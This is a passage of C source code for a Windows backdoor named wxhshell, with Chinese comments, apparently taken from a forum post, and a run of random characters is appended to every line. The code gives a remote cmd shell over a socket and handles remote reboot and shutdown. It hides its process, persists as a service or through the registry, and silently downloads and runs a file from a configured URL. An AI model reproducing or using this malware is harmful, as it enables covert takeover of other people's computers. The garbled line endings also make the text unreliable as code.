  case '?': { }\ kLh(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )bqSM&SO  
    break; ufl[sj%^|  
  } =c/jS  
  // 安装 ZW+M<G  
  case 'i': { {o>51fXc)  
    if(Install()) b^s978qn#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >I*)0tE  
    else 8`g@ )]Iy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *ay&&S*  
    break; &k53*Wo  
    } Bk)E]Fk|  
  // 卸载 j}s<Pn%4  
  case 'r': { _EHz>DJ9  
    if(Uninstall()) omd oH?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \G4L+Q/13  
    else A$ 2AYQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0nOkQVMk>  
    break; SfTTB'9  
    } 3(o}ulp  
  // 显示 wxhshell 所在路径 7+]+S`p  
  case 'p': { ~t=73 fwB  
    char svExeFile[MAX_PATH]; t.\<Q#bN#  
    strcpy(svExeFile,"\n\r");  >;qAj!'  
      strcat(svExeFile,ExeFile); Q' b@5o  
        send(wsh,svExeFile,strlen(svExeFile),0); 9!XXuMWU<  
    break; 4e`GMtp  
    } :<}1as! eo  
  // 重启 "kb[}r4?  
  case 'b': { ~?6M4!u   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WR|n>i@m  
    if(Boot(REBOOT)) bv:M zYS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LI~ofCp  
    else { ^+ J3E4  
    closesocket(wsh); [k~}Fe) x  
    ExitThread(0); ;bYS#Bid{V  
    } qQN|\u+co  
    break; %m/W4Nk  
    } FH3^@@Y%  
  // 关机 t GS>f>i  
  case 'd': { t/$:g9V%FA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s2Rg-:7  
    if(Boot(SHUTDOWN)) g$/C-j4A[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yq~$p Vgf  
    else { Qxb%P<`u  
    closesocket(wsh); f[ 'uka.U  
    ExitThread(0); 3*(w=;y  
    } pLdZB9oD]C  
    break; 9M12|X\]8  
    } ~7 w"$H8  
  // 获取shell kO3N.t@n  
  case 's': { x& a<u@[wa  
    CmdShell(wsh); M7`iAa.}  
    closesocket(wsh); e0Jz|?d=  
    ExitThread(0); `*Ju0)g1  
    break; 1Zo"Xb  
  } 8pXului  
  // 退出 /LK,:6  
  case 'x': { 2%Mgg,/~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $-w&<U$E  
    CloseIt(wsh); "7z1V{ ;Y  
    break; 0Z4o3r[  
    } w;p~|!  
  // 离开 alp}p  
  case 'q': { P:OI]x4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k>.n[`>$6|  
    closesocket(wsh); $n#NUPzG+  
    WSACleanup(); ^]zC~LfG  
    exit(1); ']&rPv kL  
    break; Cs2F/M'  
        } dbsD\\,2%N  
  } <| =^['vi  
  } Y=5}u&\   
vT=?UTq  
  // 提示信息 k.n-JS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }lQ`ka  
} 4\Q pS  
  } ~PZIYG"D  
AZH= r S`  
  return; ]EWEW*'j  
} w D}g\{P  
/idrb c  
// shell模块句柄 *Dhy a g  
int CmdShell(SOCKET sock) s(0"r.  
{ Hx?OCGj=S*  
STARTUPINFO si; yx\I&\i  
ZeroMemory(&si,sizeof(si)); ^q}cy1"j"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ))xP]Muv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;oM7H*W C  
PROCESS_INFORMATION ProcessInfo; #qDMUN*i  
char cmdline[]="cmd"; N <e72x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kSUpEV+/  
  return 0; !(i}FFn{:  
} NpAZuISD!  
X3zpU7`Av+  
// 自身启动模式 [XbNZ6  
int StartFromService(void) %8c2d  
{ M "\j7(  
typedef struct |r<#>~*  
{ +t7n6  
  DWORD ExitStatus; ?,z/+/:  
  DWORD PebBaseAddress; a d#4W0@S  
  DWORD AffinityMask; Oe)B.{;Ph  
  DWORD BasePriority; p*C|kEqk  
  ULONG UniqueProcessId; ;7*R;/  
  ULONG InheritedFromUniqueProcessId; G?dxLRy.do  
}   PROCESS_BASIC_INFORMATION; nXJG4$G  
We)l_>G  
PROCNTQSIP NtQueryInformationProcess; _j sJS<21  
`Kb"`}`_vm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ] ^ s,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b^^ .$Gu  
Q:^.Qs"IK  
  HANDLE             hProcess; J.Fy0W@+k4  
  PROCESS_BASIC_INFORMATION pbi; [4 y7tjar^  
$2/v8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]L/AW  
  if(NULL == hInst ) return 0; krMO<(x+  
Ba#wW E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); chakp!S=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vk:] aveW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .8dlf7* ,  
sLze/D_M*  
  if (!NtQueryInformationProcess) return 0; kCHYLv3.  
tl"?AQcBR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yOswqhz  
  if(!hProcess) return 0; Yaix\*II  
l|j}Ggen  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yp?a7t M  
%DhM}f  
  CloseHandle(hProcess); srQ]TYH ,  
M37GQvo   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nv5)A=6#AA  
if(hProcess==NULL) return 0; /8Ru O  
0BrAgv"3a_  
HMODULE hMod; $_f"NE}  
char procName[255]; .I%`yhCW  
unsigned long cbNeeded; NbPNcjPL  
jz$ ]"\G#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;!(GwgllD  
AU 4K$hC^  
  CloseHandle(hProcess); t.pn07$  
z(eAhK}6?  
if(strstr(procName,"services")) return 1; // 以服务启动 AlA:MO]NM  
f)19sjAJk  
  return 0; // 注册表启动 ~A@HW!*Z@  
} ),(HCzK`  
m <'&`B;  
// 主模块 <`?V:};Q  
int StartWxhshell(LPSTR lpCmdLine) qAW?\*n5N  
{ TD-o-*mO  
  SOCKET wsl; EECuJ+T  
BOOL val=TRUE; 2(i| n=  
  int port=0; ?k$'po*Eq  
  struct sockaddr_in door; y8j6ttQv=t  
$5\+Q W  
  if(wscfg.ws_autoins) Install(); ac!!1lwA  
YhQ%S}  
port=atoi(lpCmdLine); N;S1s0FN  
@@V{W)r l  
if(port<=0) port=wscfg.ws_port; qO{Yr$ V%  
N4)ZPLV  
  WSADATA data; Xe2Zf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )skz_a}]8  
BcxALRWE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "cz'|z`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n?:%>Os$  
  door.sin_family = AF_INET; ?egZkg=U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q N]y.(S)y  
  door.sin_port = htons(port); A/!"+Yfw  
ps_q3Cyp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jSMxba]  
closesocket(wsl); 8(>2+#exw  
return 1; 2 9#jKh  
} Q.,2G7[ <  
T#.pi@PF>  
  if(listen(wsl,2) == INVALID_SOCKET) { ipC <p?PpR  
closesocket(wsl); 722:2 {  
return 1; } 89-U  
} bm poptfL  
  Wxhshell(wsl); +Z e;BKZ3  
  WSACleanup(); mtmTlGp6Lc  
I8f='  
return 0; apgR[=Oy  
d_ 7hh  
} IictX"3lh  
,c,@WQ2:-  
// 以NT服务方式启动 PiN^/#D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Ta(v3om%  
{ )&j@={0  
DWORD   status = 0; #%g>^i={ky  
  DWORD   specificError = 0xfffffff; G%ZP `  
G|YNShK4=9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |:]} u|O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m5v IS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ' eh }t  
  serviceStatus.dwWin32ExitCode     = 0; a"&cm'\lL  
  serviceStatus.dwServiceSpecificExitCode = 0; +c$:#9$ |  
  serviceStatus.dwCheckPoint       = 0; _FxeZ4\  
  serviceStatus.dwWaitHint       = 0; @{"?fqo  
MK(~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s:3b.*t<  
  if (hServiceStatusHandle==0) return; NfWL3"&X  
bTt1yO  
status = GetLastError(); F*T$n"^  
  if (status!=NO_ERROR) ]\y]8v5(  
{ <$u\PJF7_^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !/e*v>3u&  
    serviceStatus.dwCheckPoint       = 0; NFyKTA6  
    serviceStatus.dwWaitHint       = 0; GOOm] ]I  
    serviceStatus.dwWin32ExitCode     = status; {y'4&vt<~  
    serviceStatus.dwServiceSpecificExitCode = specificError; ey6ujV7!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zs4NN 2~  
    return; ?a-5^{{  
  } OT0IGsJ"'  
}T-'""*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M!aJKpf  
  serviceStatus.dwCheckPoint       = 0; &["e1ki  
  serviceStatus.dwWaitHint       = 0; )-X/"d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6Yl+IP];i  
} oL~?^`cGZ  
Sm{> 8e}UE  
// 处理NT服务事件,比如:启动、停止 2 w6iqLr?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &M:o(T  
{ >p'{!k  
switch(fdwControl) K^ ALE  
{ S=j pn  
case SERVICE_CONTROL_STOP: JvK]EwR ;  
  serviceStatus.dwWin32ExitCode = 0; 3l"8_zLP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;W]9DBAB  
  serviceStatus.dwCheckPoint   = 0; 3W%j^nM  
  serviceStatus.dwWaitHint     = 0; s (K SN/  
  { g^^pPV K_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pD('6C;  
  } !hFhw1  
  return; 4xH/a1&p=  
case SERVICE_CONTROL_PAUSE: FA+"t^q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7]9,J(:Ed  
  break; c8T| o=`k6  
case SERVICE_CONTROL_CONTINUE: }[R-)M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &%%ix#iF  
  break; 5YneoM]Q  
case SERVICE_CONTROL_INTERROGATE: 4,>9N9.?9  
  break; P) cEYk  
}; &B ]1 VZUp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9VanR ::XX  
} 2$ &B@\WY  
lu8*+.V  
// 标准应用程序主函数 3=yfbO<-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ITg<u?z_  
{ ~GcWG4  
I _gE`N  
// 获取操作系统版本 R1*4  
OsIsNt=GetOsVer(); B%tWi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XMiu}w!  
UOk\fyD2[  
  // 从命令行安装 x FWhr#5,  
  if(strpbrk(lpCmdLine,"iI")) Install(); > lfuo  
lj UdsUw  
  // 下载执行文件 l&}}Io$?@  
if(wscfg.ws_downexe) { NSBcYObX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b]fx  
  WinExec(wscfg.ws_filenam,SW_HIDE); *\(z"B  
} +VNk#Z i  
=~k c7f{  
if(!OsIsNt) { U`lK'..  
// 如果时win9x,隐藏进程并且设置为注册表启动 tU5uL.( O  
HideProc(); ~USt&?  
StartWxhshell(lpCmdLine); 1Qu@pb^  
} |JP19KFx'B  
else 5 mC"8N1)  
  if(StartFromService()) hHGuD2%  
  // 以服务方式启动 DY9]$h*y  
  StartServiceCtrlDispatcher(DispatchTable); OZ+v ~'oD  
else +[<YE  
  // 普通方式启动 "VZXi_P  
  StartWxhshell(lpCmdLine); #c5jCy}n  
Yj#tF}nPC  
return 0; NcP/W>lN  
}
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只看该作者 1 发表于: 2006-10-10
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